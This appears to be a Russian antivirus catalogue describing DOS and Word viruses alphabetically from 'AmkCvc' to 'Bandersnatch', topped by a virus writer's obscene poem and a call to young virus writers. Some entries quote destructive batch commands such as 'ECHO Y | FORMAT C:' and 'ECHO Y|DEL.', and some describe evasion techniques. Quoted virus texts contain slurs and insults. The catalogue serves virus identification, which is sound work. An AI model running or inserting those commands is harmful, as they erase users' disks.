PIDOR@LOXNET.XYZ мы всегда |*)
"Надежный" эвристический анализатор...
AMGorb.ver 2.6 for ALLwe HaTe w95!
ПОШЕЛ НА ФИГ
Так-так. Грозно входит Фома в кабинет.
Все кончено. Боже,спасения нет,
А с ним еще Рома, слепой офицер.
На ком остановится жуткий прицел ?
На мне.Елки-палки,хана мне друзья,
Приходит,похоже,кончина моя.
"Давай, поднимайся,в каморку пойдем,
И там потолкуем о жизни вдвоем"
-"Какой еще жизни,Я так не хочу !"
-"Молчи, не то живо башку откручу !!"
Ну нечего делать,придется идти,
А сердце так бешено скачет в груди.
Меня затолкнули,захлопнули дверь.
" Ну что,вирусолог,попляшешь теперь."
Мне страшно ужасно,все тело дрожит,
Ведь диск с AMGorb-ом в кармане лежит.
Фома на меня грозно смотрит в упор
И мне говорит:" Сядь-ка,есть разговор",
А я говорю:"Sir,я очень спешу,
Задайте вопросы,я их запишу,
Подробно отвечу,размножу ответы,
И вам занесу я их следущим летом.
"Дурачить нас вздумал",-Фома заорал,
И с гадостным видом отвертку достал.
Раздался спасительный писк офицера:
"Фома,соглашайся,гутарит он дело
Ну разве АМ он? Какой он АМ?
Ну ты посмотри,он испуган совсем".
"Молчать,-рявкнул Леха,-УБЬЮ,ПИДАРАС!"
И долго несчастного он за уши тряс...
***
Но я откровенно скажу вам,друзья:
АМ-кто угодно,но только не я.
Он-гад нехороший,он вирусы пишет,
А я-лишь стишки,что написаны выше.
Истории этой печалный финал:
Под глазом моим неприметный фингал.
"*- Данный стих предоставлен AMGorbу СТАРТЕРОМ -*"
Greetы идут "коллегам" из S.S.R`а (мне было очень ;*),читая List) и Megadethy.
ВирусологИ! надоелИ мнЕ вашЫ засиронЫ! В конце концов НЕ НРАВИТСЯ-НЕ ЛЕЧИ !!!
----------------------------------------------------¬
¦""" AMGorb 15-16 years old Russia,Troitsk """¦
L===================================================-
Юные вирусописатели всех стран ЕДИНЯЙСЬ !
AmkCvc.1024
Неопасный резидентный стелс-вирус-спутник. При заражении COM и EXE-
файлов присваивает исходным файлам имена с расширениями AMK (для COM-
файлов) и CVC (для EXE-файлов), создает файл с исходным именем файла и
записывает в него вирусный код. В пятницу выводит на экран текст:
Hi ! I am the Crazy October and I will now live on your system.
Don`t worry ! Everything is under controll.
Now I must go to replicate, bye !
Amoeba.2367
Опасный резидентный полиморфный вирус. 1 ноября и 15 марта уничтожает
содержимое секторов жесткого диска. Содержит тексты:
AMOEBA virus by the Hacker Twins (C) 1991
This is nothing, wait for the release of AMOEBA II-
The universal infector, hidden to any eye but ours!
Dedicated to the University of Malta-
the worst educational system in the universe,and
the destroyer of 5X2 years of human life
Amse (1,2)
Amse (1) содержит строку "AMSESLIFVASRORIMESAEP". Amse (2) - "ALFREDO".
Amse (2) иногда выводит на принтер следующий текст "ANGEL X TE SALUDA
(c) Laboratorio Luz de Luna LIMA - PERU".
Amz.789, 1100
Опасные нерезидентные вирусы. Amz.789 24 сентября, а Amz.1100 1 марта и
13 сентября пытаются уничтожить некоторые сектора всех доступных
дисков. Amz.1100 также иногда уничтожает содержимое CMOS-памяти и
создает файл BOPS-BOP.S. Содержат строку "AMZ".
AnalSex.178
Содержит строку "ANALSEX !".
Anarchy.469
После заражения файлов выводит сообщение:
SpeedUp 12% - Written by Joe Franza!
Содержит текст "If you can read this, then ANARCHY Has Bestowed You
with the ANARCHY Virus! Written in the Boonies of CT - From LIK `92".
Anarchy.2048 (1-3)
Опасные вирусы. Модификации вируса незначительно отличаются друг от
друга. Заражают EXE- и COM-файлы (COM-файлы первая команда которых не
JMP NEAR PTR (0E9h ? ?)), внедряя в начало файла 2048 байт своего тела
в формате EXE-файла. 2048 байт файла-жертвы вирусы переносят в
свободный кластер, не увеличивая при этом длины пораженного файла.
Т.е., длина файла по цепочке FAT может не совпадать с реальной длиной.
COM-файлы, имеющие первой командой инструкцию JMP NEAR PTR, и
содержащие 2003 повторяющихся байта, вирусы поражают другим методом.
Они переносят 2003 байта из адреса первого перехода в область
повторяющихся байт, и в освободившееся место записывает 2003 байта
собственного кода. Содержат ошибки, в результате которых могут
разрушить FAT и сделать неработоспособными COM-файлы. Перемещенные на
другой диск программы также могут быть неработоспособными. Внедряют
команды перехода на свой обработчик прерывания в оригинальный
обработчик DOS INT 21h. Содержат текстовые строки: "ГрОб", "ANARCHY" и
зашифрованную строку "Янъ Факовскiй,USSR,1994" или "Янъ
Факовскiй,USSR'94".
Anarchy.3153
Опасный резидентный полиморфный стелс-вирус. 8 и 30 апреля, а также 9
мая вирус уничтожает содержимое случайных секторов первого жесткого
диска. Содержит тексты:
Озаглавилась весна топором,
Успокоилась река декабрем,
Утро одиноким выстрелом
JANKA DYAGILEVA
JAN FAKOVSKIJ,USSR,1997
Anarchy.6093
Опасный резидентный полиморфный стелс-вирус. Вирус заражает COM, EXE
файлы, а также DOC-файлы для WinWord версий 6.0-7.0. При открытии DOC-
файлов (через f.3dh Int 21h) вирус анализирует внутренний формат OLE2
документа, создает новую таблицу макросов и дописывает в конец данного
документа зашифрованный макрос AUTOOPEN, содержащий вирусный код
дроппера. При открытии такого инфицированного документа с помощью
WinWord, вирусный макрос создает на диске EXE-файл в формате Win NewExe
(NE), записывает в него код вируса, запускает его, и по окончании его
работы - удаляет. Данный NewExe-файл производит заражение командного
процессора (COMMAND.COM) и программы WIN.COM. Что интересно, если вирус
был активен в памяти до загрузки Windows или Windows'95,то при открытии
любого документа средствами Word for Windows, данный документ окажется
инфицированным. При заражении DOC-файла вирус использует некоторые
"дыры" в формате OLE2, в результате чего при активном вирусном макросе
AUTOOPEN просмотреть его *наличие* в системе средствами WinWord [TOOLS/
MACRO] не предоставляется возможным. Вирус является стелс-вирусом
(невидимкой) не только для среды DOS, но и для среды WinWord. Вирус
содержит некоторые ошибки в процедуре заражения OLE2 DOC-файлов. В
результате чего некоторые файлы небольшие DOC-файлы могут быть
разрушены при заражении, а также будут разрушены все DOC-файлы для MS-
Office'97. Данный вирус является первым известным многоплатформенным
вирусом, который заражает файлы таких различных операционных сред,
как DOS, Windows и MS Word for Windows (если считать, что WinWord
является также операционной средой). 8 и 30 апреля, а также 9 мая вирус
уничтожает содержимое случайных секторов первого жесткого диска.
Содержит тексты:
Озаглавилась весна топором,
Успокоилась река декабрем,
Утро одиноким выстрелом
JANKA DYAGILEVA безысходность
JAN FAKOVSKIJ,USSR,1997
Anarchy.6503
Неопасный резидентный полиморфный стелс-вирус. Выключает свой стелс-
алгоритм при старте программ ARJ.EXE, PKZIP.EXE, CHKDSK.COM. После
запуска 30 программ может вывести текст:
"Hu are u, hu am i,
Is it real you touch the sky?"
"Nothing the real
for the sky",-
said the birds of
paradise.
"I'm afraid, cant too see;
Tell me where do u carry me?"
"You will soon realize",-
said the birds of
paradise
При запуске программы NCEDIT.EXE, с именем редактируемого файла в
командной строке, вирус может "включить" свой собственный редактор для
редактирования данного файла. Верхняя строка вирусного редактора имеет
текст "Up with your shit, square sods!". Также может вывести непечатное
английское слово и "завесить" систему. Содержит также тексты
"JAN FAKOVSKIJ,USSR,1995", "UNFORGIVON".
Anarchy.9382, Anarchy.9594
Неопасные вирусы. Anarchy.9594 - полиморфный стелс-вирус. Перехватывают
INT 09, 21h, 28h. При нажатии на "Alt-Grey -" выводят некоторую
оболочку управления файлами. Могут вывести сообщения:
Anarchy.9382:
NEVOR FREE,
NEVOR ME.
SO I DUB THEE
UNFORGIVON
Anarchy.9594:
Словно после тяжелой
и долгой болезни
я вышел под серым,
уютным дождём.
Прохожие лепят меня,как хотят-
так же,как раньше.
Я в мятой,
потной пижаме,
но уже без претензий на белый полёт.
Скоро придёт
осень
DIS IS DI END,
BEAUTIFUL FRIEND...
DIS IS DI END,
MY ONLY FRIEND-
DI END.
IT HURTS TO SET U FREE,
BUT U'LL NEVOR FOLLOW ME.
DI END-
OF LAUGHTER & SOFT LIES,
DI END OF NIGHTS...WE TIRED TO DIE...
DIS IS DI
END
I WANNA DESTROY DA PASSORS-BY
'CAUSE I
WANNA BE,-
YEAH,-
ANARCHY
В ельцинской стране-
С каждым часом дальше-круче:
Если я ещё живой-УБЕЙ МЕНЯ,любер !
Я еврей- УБЕЙ МЕНЯ,член общества "память" !
Всех горбатых да больных исправит могила,
Всё в порядке,
....... (последнее слово заменено мной на точки).
Содержат тексты:
Anarchy.9382 - "VIVAT EGOR LETOV !!!".
Anarchy.9594 - "JAN FAKOVSKIJ,USSR,1994", "UNFORGIVON".
Andrew (1,2)
После 512 загрузок с жесткого диска пытаются форматировать первую
дорожку жесткого диска. Содержат слово "Andrew".
Andrey.932
Иногда выводит текст "Hallo! From Andrey!".
Andromeda.758
Опасный резидентный вирус. 5 октября пытается уничтожить содержимое 13
первых секторов диска A:. При заражении использует функции FCB. Имеет
текстовую строку "[ANDROMEDA V1.1] BUDAPEST HUNGARY".
Angel.661, 1571
Резидентные вирусы. Angel.1571 - шифрованный стелс-вирус. Angel.661
устанавливает свою резидентную копию в область UMB. Angel.661 при
вызове функции проверки версии DOS (f.30h Int 21h) пытается исправить в
памяти какую-то программу, вызвавшую данную функцию. Angel.661 имеет
строку "Angel".
Angelina
Содержит зашифрованный текст:
Greetings for ANGELINA !!!/by Garfield/Zielona Gora
Angry.393
Содержит текст "I'm an angry virus from CMOS! Nobody can cure me!!".
AnsiBomb
Иногда выводит сообщение:
HELLO! WHAT WILL YOU DO ABOUT THIS? BUY ORIGINALS TO AVOID ME AND MY 1500
NASTY FRIENDS, BECAUSE WE ARE EVERYWHERE!
Также содержит строки "ANSI-BOMB VIRUS BY TESLA 5" и "I HOPE YOU DON'T
HAVE ANSI, BOY![13;13;"ECHO Y|DEL.";13P".
Anthrax
Опасный файлово-загрузочный вирус. Не сохраняет оригинальный MBR
жесткого диска. Содержит тексты "(c) Damage, Inc.", "ANTHRAX".
AntiC.1000
Опасный нерезидентный вирус. Заражает *.COM и *.EXE-файлы, причем EXE-
файлы делает неработоспособными - заражает также, как и COM. Если
находит в памяти "на INT 13h" монитор VSAFE, то выводит текст "И даже
VSafe тебе не поможет...", после чего отдает управление программе-
вирусоносителю. Удаляет файлы *.MS, *.C, *.H. Если вирусу удается
удалить 4 и более таких файлов, то он выводит текст "Ты на С не пиши!!!
Это фигня!!! Я вот пишу на Paskalе!!!". Также выводит строку
"Слушай..." и исполняет мелодию.
AntiCMOS (1-3)
Очень опасные Boot-вирусы. Не сохраняют оригинальные MBR и Boot-сектора
дискет при заражении. При загрузке системы с таких инфицированных
секторов, вирусы самостоятельно читают активный Boot-сектор для жестких
дисков или системный файл IO.SYS (либо ему подобный) для флоппи-дисков
в память и отдают им управление. AntiCMOS (1) портит CMOS-память.
Существует модификация вируса AntiCMOS (2), которая вместо порчи CMOS-
памяти воспроизводит некоторый "рычащий" звук и содержащая текст
"I am Li Xibin!".
AntiCMOS.726
Опасный нерезидентный вирус.В апреле уничтожает содержимое CMOS-памяти.
AntiFortran.1110
Опасный резидентный вирус. Удаляет программы, стартующие из каталога
F77. В понедельник записывает в конец файла C:\AUTOEXEC.BAT строку
@ECHO Y | FORMAT D:. Во вторник замедляет работу процессора. Содержит
текст "ANTI FORTRAN OF OVER-X".
AntiParity
Неопасный загрузочный вирус. При обнаружении в загрузочном секторе
вируса Parity (1) пытается заместить его.
AntiPascal.400, 605
Очень опасные нерезидентные вирусы. AntiPascal.400 удаляет файлы
?????????A?. AntiPascal.605 записывает в начало *.PAS и *.BAK-файлов
свой код, не сохраняя их оригинальные байты.
AntiTrace.2122
Неопасный резидентный вирус. При трассировке INT 21h выводит сообщение:
г========= Anti_Trace ==========¬
¦ ¦
¦ Loading AntiVirus didn't find ¦
¦ me yet. I'm so sorry! ¦
¦ ¦
¦ [ Continue ] ¦
L===============================-
При открытии инфицированных файлов, если нажаты обе клавиши Shift, то
вирус удаляет свой код из данных файлов. Содержит тексты "Anti_Trace",
"Good Luck in Creating Antivirus. (C) 1993, AT Corp.".
Antiwin.465
Опасный нерезидентный вирус. Производит поиск *.COM-файлов в текущем
каталоге и заражает их. Вирус разрушает файлы с именем WIN* (WIN.COM),
записывая в их начало процедуру вывода на экран сообщения и завершения
работы "This program requires Microsoft Windows". Содержит текст
"-"AntiWindows"-".
Antiwin.633
Опасный резидентный вирус. Удаляет стартующую программу, если ее первые
байты равны (EBh 51h). Видимо, это касается файла WIN.COM. Содержит
тексты "Anti-Win 1.0", "(C) Zarathustra & Morgan".
Antiwin.1342
Опасный нерезидентный вирус. Разрушает файлы с именами ??N*,записывая в
их начало процедуры вывода на экран сообщения "This program requires
Microsoft Windows" и завершения работы. На некоторых компьютерах
вирус может вывести сообщение "This computer is virus protected" и
завершить работу. 2 декабря вирус выводит текст:
Hi ! I'm AntiWindows v.2.0 !
Сегодня мой ДЕНЬ РОЖДЕНИЯ !
Хотите меня поздравить ? (y/n)
Если ввести "Y", то вирус выводит текст:
Ааааааагромное спасибо !
Отдыхайте, сегодня работать не будем !
и завершает работу инфицированной программы. Если же ввести "N", то
вирус выводит "А зря ! Я обиделся :( Мстить буду :-E~", открывает файл
C:\autoexec.bat, записывает в его начало:
GOTO LMD
REM
и в конец файла C:\autoexec.bat записывает следующие строки:
:LMD
@ECHO OFF
CLS
ECHO.
ECHO.
ECHO.
ECHO.
ECHO Я обидился ! Надо было все-таки поздравить меня с днем рождения !
ECHO.
ECHO Y | C:\DOS\FORMAT C: "nul
ECHO Bye ! See you next time !
C:\DOS\BIRTHDAY.COM
PAUSE "NUL
CLS
Создает файл C:\DOS\birthday.com, в который записывает процедуру
уничтожения всех секторов на первом цилиндре первого жесткого диска.
Содержит тексты "-"AntiWindows"- (C)1997 by Alexey C.", "Я мстю ! ".
Antiwin.2320
Опасный резидентный шифрованный вирус. При вводе с клавиатуры довольно
часто повторяет ввод клавиши "t". При загрузке MS-Windows может вывести
текст "Use registered copies of MS Windows Greetings from MrStrange,
Kiev T.G.Shevchenko University". Содержит строку ""Antiwin", (c) by
MrStrange.". Не заражает файлы,начинающиеся на DRWE,AIDS,MSCA,ANTI,AVP,
WEB,SCAN,MSAV,VSAF,GUAR,ADIN,KRNL,DOSX,WSWA,DSWA,WIN3.
AP
Неопасный вирус. Содержит текст "DF[AIH]".
Apparition.254,700
Неопасные резидентные вирусы. Устанавливают свою TSR-копию в область
видеопамяти по адресу BA00:0000 и перехватывают INT 21h. Apparition.700
также перехватывает INT 10h и не позволяет изменить текущий видеорежим
монитора (f.00h INT 10h) для того, чтобы не быть уничтоженным в
видеопамяти. Apparition.700 содержит текст "THE APPARITION".
Apparition.1248
Неопасный резидентный вирус. Содержит тексты:
The Apparition virus, written by ********************************.
It`s a second version of *****************************.
THE APPARITION
Apparition.5959
Опасный резидентный шифрованный вирус. Может уничтожить содержимое
CMOS-памяти, перегрузить или "завесить" систему. "Перехватывает" INT 9,
10h, 13h, 1Ch, 21h, 2Fh. При старте инфицированного файла выводит текст
"Warning : This file is infected by Apparition !". Также иногда может
вывести текст "386 or later processor missing. Please replace
processor, then press any key...". Также содержит строки:
Here I am, can you see me
Passing through, on my way
To a place I'd been to only in my dreams
...before
Wherever I roam...
THE APPARITION
THE APPARITION II
Multi Layer Coder [MLC]
Released
ArcHub
Неопасный загрузочный вирус. Содержит строку "ARC HUB 8A".
Areopag.480
Неопасный резидентный вирус. Содержит строку "* Equus Trojanus v1.1 (C)
AREOPAG No.15 *".
AreThree.2048 (1-3)
Неопасные резидентные шифрованные файлово-загрузочные вирусы. Могут
вывести красную точку в верхнем правом углу экрана. Содержат текст:
PSYCHo-TECH GMBH 1995
""" BRAVEd DANGER 4 BRAVE PEOPLe """
[[ C·0·D·E·W·A·R ]]
"31" Germany 1995
Virtually called to life & survival by MiNDMANiAC!
RGOEPMSQO =="= AllE GUtEN DiNGE SiND DREi =="=
ArjDrop.402
Неопасный нерезидентный вирус-червь. Ищет ARJ-архивы и заражает их,
дописывая к ним свою вирусную копию, которая имеет имя RUNME.COM
Вирус содержит текст "ARJDrop by Qark/VLAD".
ArjDrop.2821
Неопасный нерезидентный вирус-червь. Производит поиск ARJ и RAR-архивов
и заражает их, дописывая к данным архивам собственную копию в форматах
этих архивных файлов. В ARJ-архивы вирус записывает файл RUNME.COM,
содержащий вирусный код, а в RAR-архивы - файл RUN_ME_.COM. В августе
вирус создает файл PRESENT.COM и записывает в него код, который при
старте выводит текст:
Citat klasika:
K anielovi chrbtom.
Tak zacal som cestou hirechu ist.
K anielovi chrbtom, len 12 krokov, a 12 ozvien na ne, a dosiel som tam,
kam som nemal prist
Dedicated to my friends Suzy&PEDRO
[an ANGEL-Sign of immortality]
by Blesk 8^)
Present by Blesk wish You HAPPY B-DAY
Suzy
Вирус также содержит строки "RAR'n'ARJ Dropper by Qark/VLAD.",
"RAR support included by Blesk".
ArjVirus
Неопасный нерезидентный вирус. Производит поиск файлов с расширением
ARJ в текущем и во вложенных директориях. Обычно расширение ARJ имеют
архивные файлы, созданные с помощью популярного архиватора ARJ. При
нахождении таких файлов, вирус создает файл со случайным именем,
состоящим из 4 букв от 'A' до 'V' и с расширением COM. В данный COM-
файл вирус записывает 5000 байт своего кода + случайное количество
байт. После чего, вирус считая, что архиватор ARJ.EXE находится в
каталоге, доступном через переменную PATH, вызывает его с помощью
командного процессора c:\command.com /c arj a "ArjFile" "ComFile", где
ArjFile - это найденный вирусом файл с расширением ARJ; ComFile -
COM-файл, содержащий вирусный код; опция же "a" говорит архиватору о
том, что необходимо включить зараженный файл ComFile в архивный файл
ArjFile. После указанных манипуляций вирус уничтожает созданный
COM-файл. Следует отметить, что во время заражения архива вирус
устанавливает INT 10h (вывод на экран) на собственный обработчик,
состоящий из одной команды - IRET, для того, чтобы при возникновении
ошибки или по другим причинам не происходило вывода текста на экран.
Т.о., "расчет вируса" сводится к тому, что пользователь, распаковавший
ARJ-архив и увидевший неизвестный COM-файл, обязательно запустит его
ради интереса... Так сказать - "психологический вирус".
Armagedon.1079
Неопасный резидентный вирус. С 5.00 до 6.00 вирус активно работает с
последовательными портами, видимо, пытаясь дозвониться до какого-то
номера с помощью модема. Содержит строку "Armagedon the GREEK".
Artemiev.2165
Неопасный резидентный шифрованный вирус. Иногда производит "дрожание"
экрана. Содержит тексты "Игорь", "Artemiev I.A.".
Asch.794, 1121
Резидентные, Asch.1121 - опасный, вирусы. 15 числа месяца Asch.1121
уничтожает *.PAS-файлы, записывая в них текст:
AlphaVirus [07]Паскаль - ГОВНО, а СКАП - ТЮРЬМА
У вас лица как гороховый суп
У вас жизни как промасленная бумага
У вас мечты как выстиранные пододеяльники
У вас мир как противогаз...
Егор Летов,ГрОб
При старте программы DR*.* (DRWEB.EXE) Asch.1121 уничтожает файл
DR*.INI и обезвреживает свою резидентную копию в памяти. При старте
программы AD*.* (ADINF.EXE) Asch.1121 устанавливает INT 1Ch (таймер) на
дисковое прерывание INT 13h и выводит текст:
Посмотрим много ли ты сможешь восстановить
своим сраным Adinfом.
Press any key ...
Asch.794 может "осыпать" символы на экране и вывести текст "Remember
about XT in world of PC". Также содержит текст "AlphaVirus [06]
Copyright (C)1995 AlphaSoft(Russia,St.Petersburg,ASCh,12/20/95".
Ash.712, 737
Неопасные нерезидентные вирусы. Заражают COM-файлы, записываясь в их
конец. Переименовывают файл C:COMMAND.COM в C:\COMMANDx.COM, где 'x' -
это символ с кодом 255 (0FFh) и создают новый файл C:\COMMAND.COM,
состоящий из 8 команд NOP, который сразу же и заражают. Вирусы могут
выводить сообщение "Bad command or file name". Также могут оставить в
памяти резидентную программу на INT 08, которая посылает в порты 2E8h,
2F8h, 3E8h, 3F8h (COM1, COM2, LPT1, LPT2) символ 0DBh '-'.
AsmVirus.238
Неопасный вирус, заражающий ASM-файлы. Вирус производит поиск *.ASM-
файла, присваивает ему имя с расширением BAK и создает файл с
оригинальным именем исходного ASM-файла. Записывает в данный файл
заголовок стандартного ASM-файла:
.MODEL TINY
.CODE
ORG 256
a:
После чего записывает директивы "DB" и байт за байтом переводит свой
код в символьный вид. В конец файла вирус записывает стандартное
"окончание" файлов, написанных на ассемблере:
ENDS
END a
В результате, при трансляции такого файла будет получен объектный и
бинарный вирусный код.
Asprin.2515
Неопасный нерезидентный вирус. Заражает COM и EXE-файлы, причем EXE-
файлы превращает в COM, изменив первые 3 байта на команду перехода. При
старте вирус удаляет свой код из стартовавшей программы, запускает ее
на выполнение, после чего производит поиск и заражение файлов на диске.
По окончании работы вирус оставляет в памяти резидентный код на INT 08,
производящий холостые циклы и замедляя скорость работы компьютера.
Содержит текстовые строки "VIRUS "ASPRIN" ГЛАЗОВ 1995(C)ПРИВЕТ ВСЕМ
ХАКЕРАМ г.ГЛАЗОВА! ПРИ ЗАПУСКЕ EXE ФАЙЛА,VIRUS СНАЧАЛА ЛЕЧИТ ЕГО!
ИСПОЛЬЗУЙТЕ ЭТО СВОЙСТВО ДЛЯ ЛЕЧЕНИЯ! ЖЕЛАЮ УСПЕХОВ В ИЗУЧЕНИИ
КОМПЬЮТЕРНОЙ МИКРОБИОЛОГИИ!", "/QHELP", "MsDos".
Assassin.952, 959
Опасные резидентные, замещающие программный код вирусы. Содержат текст
"This is [Assassin] written by Dark Slayer in Keelung. Taiwan "R.O.C"".
Atas.384
Иногда после заражения файлов выводит на экран текстовую строку "Ok.".
Содержит текст "ATAS V0.1 Cr.24.01.92".
Aussie.147
Опасный вирус. Содержит текст "..."AussieBoy" virus from DownUnder...",
и "...Coeo ergo sum...".
Australian.Grue
Неопасный резидентный вирус. Содержит текст:
It is pitch black. You are likely to be eaten by a Grue.
Australian.Kuang
Неопасный резидентный вирус-спутник. Содержит текст:
W.I.N.T.E.R.M.U.T.E.
3jANE is a bItcH
I wanna set of Mollys shades
Case lives.... Somewhere in the NET!
Kuang Virus 2.0
N.E.U.R.O.M.A.N.C.E.R.
(C) 1992 Australian Parasite
Avalgasil.666
Неопасный резидентный шифрованный вирус. Содержит текстовую строку
"(Avalgasil)666".
Avatar.Dichotomy
Опасный резидентный вирус. Состоит из двух частей 296 байт и 567 байт.
Перехватывает INT 21h. Корректно заражает только COM-файлы. При запуске
EXE-файлов портит их. Вирус делит запускаемые программы на "четную" и
"нечетную" половину. При старте "нечетного" файла вирус дописывает к
нему 567 байт своего кода. При старте же "четного" файла вирус заражает
его, дописывая в его конец 296 байт и изменяя 3 первых байта на команду
перехода на вирусный код. В дальнейшем при старте инфицированного
"четного" файла, вирус ищет свою вторую половину в "нечетном" файле,
имя которого вирусом сохраняется. Если "нечетная" файл найден, то вирус
считывает свою вторую половину и остается в памяти резидентно. Если же
не найдена - вирус отдает управление программе-вирусоносителю.
Т.о., данный вирус является "работоспособным" если в системе находятся
обе части вируса. Содержит строки: "[Dichotomy] (c) 1994 Evil Avatar",
"[Dichotomy]".
Avatar.Narcosis
Опасный файлово-загрузочный вирус. 9 июня уничтожает содержимое первого
жесткого диска. Содержит текст "[Narcosis] (c) 1994 Evil Avatar".
Avatar.Positron
Неопасный резидентный вирус. "Перехватывает" INT 21h, контролирует
запуск COM-файла, после чего ждет первого вызова INT 21h и внедряет
вместо этого вызова в стартовавший файл JUMP NEAR (E9 ?? ??) на свой
код, который вирус записывает в конец файла. Содержит текст
"[Positron] (c) 1994 Evil Avatar".
Avispa.2048 (1-5)
Опасные резидентные полиморфные вирусы. Avispa.2048 (3) иногда выводят
на экран текст:
"Virus AVISPA"
Escrito por Elijah Baley
V1.0 Noviembre 10 1993
V1.2 Enero 4 1994
Buenos Aires - Republica Argentina
Peace will only come finding the peace within.
Остальные вирусы в полночь, при чтении секторов дисков (f.2 Int 13h)
записывают в прочитанный дисковый буфер текст:
$$ Virus AVISPA $$ Republica Argentina$$ Elijah Baley $$
Noviembre 10 de 1993 $$ This program is not an old virus variant,
and it was written in Argentina by Elijah Baley. $$=64446$$
Вирусы содержат перечень некоторых файлов:
c:\dos\xcopy.exe
c:\dos\mem.exe
c:\dos\setver.exe
c:\dos\emm386.exe
А также - текст "__ Virus Avispa - Buenos Aires - Noviembre 1993 __".
Avispa.2048 (3) имеет текст "QUE NOS DEPARA EL 94... QUIEN SABE!! ;-)".
Avl.352
Неопасный резидентный вирус. 13 числа изменяет Memory Refresh и вектор
INT 5 (Print Screen) устанавливает на код перезагрузки компьютера.
Содержит строку "AVL".
Avs.301, 349
Содержат тексты "by AVS v1.0(c)1997 'KAI" или "by AVS v1.1(c)97В этом
мире слишком много дерьма....".
Avvaddon.1100
Неопасный резидентный вирус. Иногда выводит сообщение:
AVVADDON for Lozinsky:
I~m the bitch you HATED !
Awake.797, 1099
Неопасные резидентные шифрованные вирусы. 8 декабря выводят тексты:
Awake.797:
Awake, Jim Morrison! Awake !
Awake.1099:
Awake
Shake dreams from your hair
My pretty child, my sweet one.
Choose the day and choose the sign of your day
The day's divinity
First thing you see.
A vast radiant beach in a cool jeweled moon
Couples naked race down by it's quiet side
And we laugh like soft, mad children
Smug in the wooly cotton brains of infancy
The music and voices are all around us.
Choose they croon the Ancient Ones
The time has come again
Choose now, they croon
Beneath the moon
Beside an ancient lake
Enter again the sweet forest
Enter the hot dream
Come with us
Everything is broken up and dances.
Jim Morrison
Awake.797 содержит текст "Ирина Ивановна Крупянко - Дура, Коза и
......... Школа N434".
AWME - вирусы
AWME (Anti WEB Mutation Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Явный плагиат из вируса Natas. Создан,
якобы, для обмана эвристического анализатора антивирусной программы
Dr. Web казанским человеком под именем Амир aka AD. Содержит строку
"\" Anti WEB Mutation Engine [AWME] by AD. v1.0 "/". Распространяется в
виде ASM-файла.
AWME.AD.1267
Неопасный нерезидентный вирус. Не заражает файлы, содержащие первые 2
буквы из текстовой строки "AIWESCCOVSADAN-V". Содержит текстовую строку
"This is a simple [AWME] demo virus by AD.".
Azusa (1,2)
Опасные загрузочные вирусы. Оригинальный MBR жесткого диска не
сохраняют, а boot-сектор дискет сохраняют в 8 секторе 40 дорожки, что
может приводить к потере информации в данном секторе на дискетах
отличных от формата 360 Kb. Иногда блокируют работу с COM и LPT-
портами.
Baba.350, 353 (1,2), 366
Неопасные резидентные вирусы. Содержат тексты:
Baba.350, 353 - "Товарищ Лозинский! ФАК Ю!", "="COMMAND.COM"=".
Baba.366 - "="- - Natasha Denisova - -"=".
Baby.83, 100
Неопасные резидентные вирусы-спутники. Изменяют последнюю букву
расширений запускаемых файлов.
BackSlash
При чтении секторов вирус ищет в прочитанных секторах диска символ 5Ch
'\' и сразу после него вставляет байт 0.
BackFormat.2000 (1,2), 2345, 2381
Опасные вирусы. Заражают EXE, COM-файлы на дисках A: и B: при закрытии
(f.3Eh INT 21h) вновь создаваемых файлов (f.3Ch, 5Bh INT 21h).
BackFormat.2000 (2) также заражает при закрытии открытых файлов. Вирусы
заражают c:\command.com, не изменяя его длины. Перехватывают INT 13h,
INT 21h. При форматировании гибких дисков, последовательно присваивают
секторам значения в обратном порядке, начиная со старших адресов.
Например, для диска 360K вместо значений 1,2,...,9, порядок чередования
секторов будет - 9,8,...1.
BackFormat.2320
Очень опасный резидентный шифрованный вирус. При записи в файл (f.40h
Int 21h) очень часто сдвигает записываемую информацию на 1 байт. В
пятницу производит данную операции в 4 раза чаще.
BackUSSR
7 октября выводит текст "I'm backing to the USSR !".
BadBoy.1000 (1-7)
Неопасные резидентные вирусы. Состоят из 9 блоков, 8 из которых вирусы
меняют местами при инфицировании файлов. Различные модификации вирусов
содержат следующие текстовые строки:
The Bad Boy virus, Copyright (C) 1991.
The Bad Boy virus, Version 2.0, Copyright (C) 1991.
(c) by Metal Thunder IVRL Milan Italy 244b
Badless.494
Опасный нерезидентный вирус. Заражает *.COM-файлы. Файлы формата EXE,
имеющие расширение COM вирус уничтожает, записывая в них 37 байт кода,
который при старте данных программ выводит текст "Only in God we
trust...". Имеет также текст "Badless 1992".
BadSectors.3422, 3428, 3627
Опасные резидентные вирусы. Перехватывают INT 8, 16h, 21h, 25h, 26h.
Иногда устанавливают "плохие" кластеры диска посредством манипуляций
с таблицами размещения файлов FAT. Не заражают программу SCAN.
Содержат текстовые строки "COMEXE", "SCAN" и
BadSectors.3422: BadSectors 1.1
BadSectors.3428: BadSectors 1.2
BadSectors.3627: BadSectors 1.3
Balashiha.271
Блокирует вывод на принтер. Содержит строку "Balashiha-2".
Bambr.431
Неопасный нерезидентный вирус. Содержит строку "BAmBR*.com".
BAME-вирусы
BAME (Black Angel Mutatuon Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Создан вирусописателем известным, как
Black Angel.
BAME.Demo
Неопасный резидентный полиморфный вирус. Каждую минуту "сбивает" буфер
клавиатуры. Содержит тексты "This is [BAME beta version] DemoVirus (c)
Black Angel`96", "BlackAngelMutationEngine v1.beta (c)Black Angel".
BAME.Saboteur
Опасный резидентный полиморфный вирус. Разрушает каждый 15 открываемый
файл с расширением BA?, AR?, PA?, записывая в них строку "SABOTEUR-2".
После заражения 6 программ (а также в некоторых других случаях) вирус
уничтожает содержимое CMOS-памяти, MBR первого жесткого диска и
пытается вывести текст:
T H I S I S S A B O T E U R - 2
----------------------------¦
---¦ ---¦
---- ----- ------ ---- -------- ------ -- -- ------
-- - -- -- -- -- -- -- -- -- -- -- -- --
-- -- -- -- -- -- -- -- -- -- -- -- --
---- -- -- ------ -- -- -- ---- -- -- -----
-- ------- -- -- -- -- -- -- -- -- -- --
- -- -- -- -- -- -- -- -- -- -- -- -- --
---- -- -- ------ ---- -- ------ ----- -- --
---¦ ---¦
-----------------------------¦
Copyright by Black Angel 1996
Содержит тексты "THE SABOTEUR-2 virus Copyright by Black Angel 1996",
"-=(c)M.M.=-", "BlackAngelMutationEngine v1.beta (c)Black Angel`96".
Bandersnatch
Неопасный резидентный полиморфный стелс-вирус. Содержит тексты
"Злопастный Брандашмыг", "DOS-UP", "What's fuck?"
